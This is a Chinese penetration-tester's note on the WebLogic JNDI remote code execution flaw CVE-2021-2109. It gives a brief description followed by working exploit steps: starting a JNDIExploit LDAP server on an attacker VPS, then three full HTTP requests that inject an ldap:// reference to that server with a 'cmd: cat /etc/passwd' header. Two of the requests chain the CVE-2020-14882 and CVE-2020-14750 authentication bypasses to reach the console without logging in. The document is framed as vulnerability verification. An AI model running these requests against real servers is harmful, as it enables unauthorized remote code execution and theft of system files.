持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。
- Weblogic JNDI远程代码执行漏洞(CVE-2021-2109) -
Weblogic Server是Oracle公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。在Oracle官方发布的2021年1月关键补丁公告中,发布了针对WebLogic Server的严重漏洞(CVE-2021-2109),该漏洞是存在于WebLogic Console控制台中的一个远程代码执行漏洞,经过身份验证的攻击者可以直接通过JNDI远程执行代码注入,未经授权的攻击者可以配合CVE-2020-14882或者CVE-2020-14750权限绕过漏洞执行任意代码。
影响版本:
在VPS服务器设置对外开放1389和8080端口,使用JNDIExploit工具启动LDAP服务,并绑定VPS的公网IP地址:
D:\JNDIExploit.v1.2>java -jar JNDIExploit.jar -i xxx.xxx.xxx.xxx(VPS公网IP)
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8080...
正常利用管理员帐号登录Weblogic Console控制台的情况下,通过BurpSuite抓取登录后带Cookie数据包进行JNDI注入:
GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: www.luckysec.cn:7001
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd: cat /etc/passwd
Cookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979
Upgrade-Insecure-Requests: 1
没有登录Weblogic Console控制台的情况下,配合CVE-2020-14882权限绕过漏洞进行JNDI注入:
GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: www.luckysec.cn:7001
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd: cat /etc/passwd
Cookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979
Upgrade-Insecure-Requests: 1
没有登录Weblogic Console控制台的情况下,配合CVE-2020-14750权限绕过漏洞进行JNDI注入:
GET /console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: www.luckysec.cn:7001
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd: cat /etc/passwd
Cookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979
Upgrade-Insecure-Requests: 1
注意:ldap://xxx.xxx.xxx;xxx:1389/的地址IP的第三个分隔符是;号。